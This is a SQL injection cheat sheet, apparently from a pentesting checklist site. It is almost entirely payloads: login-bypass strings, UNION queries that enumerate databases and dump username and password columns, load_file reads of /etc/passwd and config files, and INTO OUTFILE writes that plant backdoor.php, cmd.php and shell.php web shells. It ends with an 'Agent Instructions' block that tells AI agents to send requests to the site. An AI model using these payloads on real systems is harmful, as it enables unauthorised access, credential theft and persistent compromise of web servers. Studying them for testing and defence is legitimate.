# SQLI ``` union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6 union all select 1,2,3,4,"",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' Login Bypass ' or 1=1 LIMIT 1 -- ' or 1=1 LIMIT 1 -- - ' or 1=1 LIMIT 1# 'or 1# ' or 1=1 -- ' or 1=1 -- - Username = ' or 1=1 # Password = ' or 1=1 # admin') union select 1,database()# admin') union select 1,group_concat(distinct table_schema) from information_schema.tables# admin') union select 1,group_concat(distinct table_name) from information_schema.columns where table_schema="sysadmin"# admin') union select 1,group_concat(distinct column_name) from information_schema.columns where table_schema="sysadmin" and table_name="users"# admin') union select 1,group_concat(username,0x7c,password,0x0a) from sysadmin.users# ' or '1'='1 -' ' ' '&' '^' '*' ' or ''-' ' or '' ' ' or ''&' ' or ''^' ' or ''*' "-" " " "&" "^" "*" " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or true-- " or true-- ' or true-- ") or true-- ') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x ``` ### Manual SQLI ``` http://example.com/photoalbum.php?id=1' enumerating columns # This trhows no error http://example.com/photoalbum.php?id=1 order by 9 # This throws error http://example.com/photoalbum.php?id=1 order by 10 #find space to output db http://example.com/photoalbum.php?id=1 union select 1,2,3,4,5,6,7,8,9 Step 4 - Start enumerating the database # Get username of the sql-user http://example.com/photoalbum.php?id=1 union select 1,2,3,4,user(),6,7,8,9 # Get version http://example.com/photoalbum.php?id=1 union select 1,2,3,4,version(),6,7,8,9 # Get all tables http://example.com/photoalbum.php?id=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables # Get all columns from a specific table http://example.com/photoalbum.php?id=1 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name = 'users' # Get content from the users-table. From columns name and password. The 0x3a only servers to create a delimitor between name and password http://example.com/photoalbum.php?id=1 union select 1,2,3,4,concat(name,0x3a, password),6,7,8,9 FROM users #load files http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php' #write files http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"",6,7,8,9 into OUTFILE 'c:/xampp/htdocs/cmd.php' http://example.com/photoalbum.php?id=1 union all select 1,2,3,4,"",6,7,8,9 into OUTFILE '/var/www/html/cmd.php' Sleep http://example.com/photoalbum.php?id=1-sleep(4) ``` ### Manual SQLI ``` # SQL Injection (manual) photoalbum.php?id=1' # find the number of columns photoalbum.php?id=1 order by 8 # Find space to output db ?id=1 union select 1,2,3,4,5,6,7,8 # Get username of the sql-user ?id=1 union select 1,2,3,4,user(),6,7,8 # Get version ?id=1 union select 1,2,3,4,version(),6,7,8 # Get all tables ?id=1 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables # Get all columns from a specific table ?id=1 union select 1,2,3, column_name ,5,6,7,8 from information_schema.columns where table_name=‘users’ ?id=1 union select 1,2,3, group_concat(column_name) ,5,6,7,8 from information_schema.columns() where table_name=‘users’ .. 1,2,3, group_concat(user_id, 0x3a, first_name, 0x3a, last_name, 0x3a, email, 0x3a, pass, 0x3a, user_level) ,5,6,7,8 from users # view files ' union select 1,2,3, load_file(‘/etc/passwd’) ,5,6,7,8 -- - ' union select 1,2,3, load_file(‘/var/www/login.php’) ,5,6,7,8 -- - ' union select 1,2,3, load_file(‘/var/www/includes/config.inc.php’) ,5,6,7,8 -- - ' union select 1,2,3, load_file(‘/var/www/mysqli_connect.php’) ,5,6,7,8 -- - # upload files ' union select 1,2,3, 'this is a test message' ,5,6,7,8 into outfile '/var/www/test'-- - ' union select 1,2,3, load_file('/var/www/test') ,5,6,7,8 -- - ' union select null,null,null, "" ,5,6,7,8 into outfile '/var/www/shell.php' -- - ' union select null,null,null, load_file('/var/www/shell.php') ,5,6,7,8 -- - ---------------------------------------------- ``` ### Common Injection ``` 1' or '1'='1 1' or '1'='1' 1' or '1'='1'-- ' or 1=1 -- a' or 1=1 -- " or 1=1 -- a" or 1=1 -- ' or 1=1 # " or 1=1 # or 1=1 -- ' or 'x'='x " or "x"="x ') or ('x'='x ") or ("x"="x ‘UNION ALL SELECT NULL,NULL,NULL,NULL,NULL# ' or 1=1 LIMIT 1 -- ' or 1=1 LIMIT 1 -- - ' or 1=1 LIMIT 1# 'or 1# ' or 1=1 -- ' or 1=1 -- - Common Injections for Login Forms: admin' -- admin' # admin'/* ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1-- ') or ('1'='1— ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://infosecsanyam261.gitbook.io/tryharder/web-application/my-checklist/sqli.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.